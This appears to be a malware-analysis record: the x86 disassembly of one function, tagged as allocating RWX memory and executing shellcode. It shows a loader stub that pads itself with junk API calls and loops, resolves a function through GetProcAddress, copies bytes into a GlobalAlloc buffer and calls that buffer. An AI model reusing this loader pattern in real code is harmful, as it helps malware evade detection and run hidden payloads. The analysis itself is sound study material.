Function at 0x4045a4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x207142
jg 0x4045d1
inc edi
cmp edi, 0x67d12
jl 0x4045b4
cmp dword [0x28278e4], 0x93
jne 0x404706
push 0x403fe8
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCA]
push esi
push esi
push 0x404000
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuState]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapValidate]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push esi
push esi
push esi
push 0x404024
push 0x404040
push 0x40406c
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobSet]
push esi
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthA]
push esi
push esi
push esi
call dword [sym.imp.SHELL32.dll_FindExecutableA]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.ole32.dll_StringFromIID]
push 0x404098
push esi
call fcn.004052f6
push esi
call fcn.00404af4
push esi
push 0x403f6a
push 0x4448f0
call fcn.00404ba0
push esi
push esi
call fcn.0040530d
push esi
call fcn.00405200
push esi
push esi
call fcn.0040522f
push 0xc
call fcn.00405a0e
mov edi, eax
add esp, 0x30
cmp edi, esi
je 0x4048bd
mov dword [edi], edi
mov dword [edi + 4], edi
mov eax, dword [edi]
mov dword [edi], edi
mov dword [edi + 4], edi
cmp eax, edi
je 0x4046ff
mov ebx, dword [eax]
push eax
call fcn.00405419
pop ecx
mov eax, ebx
cmp ebx, edi
jne 0x4046f0
push edi
call fcn.00405419
pop ecx
mov eax, dword [0x42fc94]
add dword [0x28278e4], 0x1134b
push 0x40409c
mov dword [0x2828720], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x4040ac
push eax
mov dword [0x2827374], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x28278e4]
mov dword [0x2827368], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x28278e4]
mov dword [0x2827370], eax
push eax
call dword [0x2827368]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov edi, 0x1692e
push esi
push esi
call dword [sym.imp.USER32.dll_GetComboBoxInfo]
push esi
lea eax, [ebp - 0x42c]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
push esi
call ebx
dec edi
jne 0x40476b
cmp dword [0x28278e4], esi
jbe 0x4047e5
mov eax, dword [0x2828720]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2827370]
mov byte [ecx + edi], al
cmp dword [0x28278e4], 0x490
jne 0x4047dc
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
inc edi
cmp edi, dword [0x28278e4]
jb 0x40478f
xor edi, edi
mov eax, dword [0x28278e4]
add eax, edi
cmp eax, 0x8d
jne 0x404826
push esi
lea eax, [ebp - 0x42c]
push eax
push esi
push 0x4040bc
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuW]
push 0x4040c0
push 0x4040d8
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
inc edi
cmp edi, 0x38681
jl 0x4047e7
call fcn.004044cb
xor edi, edi
push esi
call ebx
cmp edi, 0x61
jne 0x404851
mov dword [ebp - 4], esi
add dword [ebp - 4], 0x621f
mov eax, dword [ebp - 4]
add dword [0x2827370], eax
inc edi
cmp edi, 0x674bd
jl 0x404836
push 0x7b
pop edi
cmp dword [0x28278e4], 0x86
jne 0x4048a4
push esi
push esi
push esi
push esi
push esi
push esi
push 0x4040f8
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_RequestWakeupLatency]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsBadHugeWritePtr]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthW]
dec edi
jne 0x40485d
push 0x404130
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x2827370]
pop edi
pop esi
pop ebx
leave
ret
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], esi
call fcn.00404c42
push 0x42b148
lea eax, [ebp - 0x18]
push eax
mov dword [ebp - 0x18], 0x40133c
call fcn.004098fd
int3